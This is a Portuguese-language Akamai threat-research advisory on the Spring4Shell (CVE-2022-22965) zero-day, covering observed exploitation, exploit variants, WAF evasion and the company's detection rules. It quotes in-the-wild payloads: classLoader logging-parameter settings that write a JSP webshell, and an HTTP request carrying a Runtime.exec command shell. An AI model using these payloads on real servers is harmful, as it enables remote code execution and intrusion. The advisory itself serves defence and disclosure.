Atenuação de zero-day "Spring4Shell" do Spring Core
Visão geral
Em 30 de março de 2022, a comunidade de segurança se tornou amplamente ciente das vulnerabilidades relacionadas ao Spring, a popular estrutura Java de código-fonte aberto. O Adaptive Security Engine da Akamai foi capaz de detectar ataques de zero-day nessa vulnerabilidade, e os clientes da Akamai estão protegidos (veja mais detalhes abaixo).
Infelizmente, o cronograma de divulgação de vulnerabilidades e outras informações relatadas informalmente criaram confusão sobre o que está acontecendo, por isso queríamos atualizar os clientes e outras partes interessadas sobre a situação.
Há duas vulnerabilidades separadas relacionadas aos produtos Spring:
O CVE-2022-22963 foi uma vulnerabilidade na função Spring Cloud (tecnologia sem servidor de código-fonte aberto) que foi corrigida em 24 de março, e explorações públicas foram disponibilizadas. (Nota: Temos um blog separado sobre essa vulnerabilidade.)
Outra vulnerabilidade no Spring Core, apelidada de “Spring4Shell”, atribuída ao CVE-2022-22965. A vulnerabilidade do Spring Core é considerada mais impactante, pois afeta a biblioteca principal e, portanto, todo projeto do Spring é potencialmente afetado. No entanto, há uma discussão sobre a capacidade de exploração dessa vulnerabilidade, pois ela requer uma configuração especial que até mesmo os desenvolvedores do Spring avisam explicitamente não ser segura. Agora, vamos analisar os detalhes dessa vulnerabilidade para esclarecer.
No mesmo dia em que a exploração do Spring Core (“Spring4Shell”) ficou disponível (30 de março), começamos a observar tentativas de exploração.
Tentativas iniciais de exploração
Algumas das primeiras tentativas de exploração eram invasores que tentavam implantar um webshell (um arquivo backdoor de controle remoto baseado na Web), que os invasores poderiam acessar e executar comandos arbitrários no servidor, potencialmente infectando o servidor com outro malware ou se espalhando na rede de destino.
Outras tentativas foram as empresas que testaram a vulnerabilidade.
Aqui estão alguns exemplos das cargas úteis de ataque que observamos:
Diversas variantes de exploração
Há várias maneiras de explorar a vulnerabilidade do Spring Core, mas em cada uma das variantes, a solicitação de exploração reconfigura os parâmetros de log. Dessa maneira, os invasores estão definindo o nome da página webshell, a extensão do arquivo e o diretório no qual ele será gravado:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bf%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d
class.module.classLoader.resources.context.parent.pipeline.first.prefix=aaa
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
Observe que o conteúdo do arquivo decodificado por URL no parâmetro class...first.pattern parameter is %{f}i.
Enquanto o valor de f que está sendo avaliado (por %{}) é obtido do cabeçalho HTTP denominado f.
GET /aaa HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/99.0.7113.93 Safari/537.36
Aceitar: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
f: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Aceitar-Idioma: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Aceitar-Codificação: gzip, deflate
Conexão: close
Solicitações de atualização inseguras: 1
SEC-Fetch-Dest: documento
SEC-Fetch-Mode: navegar
SEC-Fetch-Site: nenhum
Sec-Fetch-User: ?1
A primeira exploração de prova de conceito foi publicada por um pesquisador antes que qualquer comunicação formal dos desenvolvedores do Spring fosse feita, e foi aí que a confusão começou. O pesquisador a deteu mediatamente. No entanto, a exploração já vazou e também estava disponível no portal vx-underground (comunidade de pesquisadores de segurança).
Em seguida, a exploração apareceu novamente, enquanto ela começou como uma variante e mudou para uma versão mais compacta. A principal diferença entre as variantes é se os parâmetros vulneráveis estão sendo definidos por meio de parâmetros POST ou em uma solicitação GET por meio de string de consulta. A segunda mudança foi reduzir o número de solicitações enviadas ao servidor para uma única.
A segunda versão da exploração também inclui uma possível evasão de WAF ou filtragem de entrada, enquanto ofusca os padrões de código confidencial que esses controles de segurança normalmente procuram, como <% , %> e Runtime.getRuntime(). O conteúdo do arquivo webshell carregado inclui espaços reservados que serão substituídos pelo Spring com o conteúdo dos valores de cabeçalho correspondentes.
Assim, %{suffix}i no conteúdo de class...first.pattern será substituído por %>// que é o valor do cabeçalho HTTP do sufixo.
Mitigação com o Akamai Adaptive Security Engine
Todos os clientes do Akamai Kona Site Defender estão protegidos. O Akamai Adaptive Security Engine conseguiu detectar este zero-day do Spring Core com as regras de injeção de comando existentes:
3000023 - Manipulação de execução remota de código do ClassLoader do Apache Struts
Outros conjuntos de regras do Kona Site Defender atenuam essa vulnerabilidade:
Grupos de ataque automatizado:
1000005 - Injeção de comando
O conjunto de regras do Kona:
3000023 - Manipulação de execução remota de código do ClassLoader do Apache Struts
Resumo
A vulnerabilidade do Spring Core/"Spring4Shell" tem o potencial de afetar muitas organizações devido ao baixo nível de exploração. E prevemos que os agentes de ameaça adaptem essa vulnerabilidade, lançando campanhas para criptomineração, DDoS e ransomware como uma oportunidade de ouro para invadir organizações nos próximos anos. No entanto, os clientes da Akamai estão protegidos com o Adaptive Security Engine e os conjuntos de regras do Kona Site Defender.
A equipe de Pesquisa de ameaças da Akamai está monitorando a exploração dessa vulnerabilidade e será atualizada à medida que novas variantes surgirem.